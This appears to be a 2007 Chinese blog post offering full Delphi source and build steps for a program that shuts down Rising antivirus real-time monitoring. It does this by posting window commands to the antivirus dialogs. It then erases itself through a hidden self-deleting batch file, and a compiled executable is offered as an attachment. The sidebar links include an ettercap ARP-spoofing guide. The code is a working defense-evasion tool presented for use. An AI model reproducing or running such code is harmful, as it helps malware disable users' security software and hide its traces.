一段关闭瑞星监控的源代码并附带程序

原创 2007年09月14日 01:50:00
源码:


program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,
    'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del %0');
  CloseFile(BatchFile);

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


procedure StopRising;
var
  hWindow: HWND;
  lpClassName: array[0..20] of char;
begin
  hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
  repeat
    GetClassName(hWindow, lpClassName, 20);
    if lpClassName = '#32770' then //判断搜索窗口的类名
    PostMessage(hWindow, WM_COMMAND,40027,0);
    PostMessage(hWindow, WM_COMMAND,2775,0);
    PostMessage(hWindow, WM_COMMAND,32776,0);
    hWindow := GetWindow(hWindow, GW_HWNDNEXT);
  until
    hWindow = 0;
end;
begin
  StopRising; //调用
  DeleteMe;
end.





这是用Delphi编写的

可用把全部内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可

附件是编译好的执行程序,是没有自删除的! 

编程实现关闭瑞星监控[原创]

  • 2009年08月03日 00:12
  • 2.31MB
  • 下载

ettercap文本模式+driftnet监控图片&瑞星防火墙无效

1. ettercap命令模式双向arp欺骗

打开所有瑞星监控

  • 2008年06月23日 09:33
  • 10KB
  • 下载

摄像头监控报警程序源代码

  • 2012年05月20日 12:54
  • 4.59MB
  • 下载

贴一段导出excel的源代码(数据由数据库查询出来然后以excle的格式导出)

protected HttpServletResponse response; //初始化对象 response.setContentType("application/vnd.ms-ex...
  • lijigen
  • lijigen
  • 2013年11月29日 10:58
  • 665

模仿QQ界面的一段简单源代码

  • 2009年04月25日 17:33
  • 3.68MB
  • 下载

监控打电话与通话一段时间后自动挂断

public class MainActivity extends AppCompatActivity { TelephonyManager manager; Timer t...

java 一段坦克大战的源代码

  • 2012年10月10日 17:18
  • 577KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:一段关闭瑞星监控的源代码并附带程序
举报原因:
原因补充:

(最多只允许输入30个字)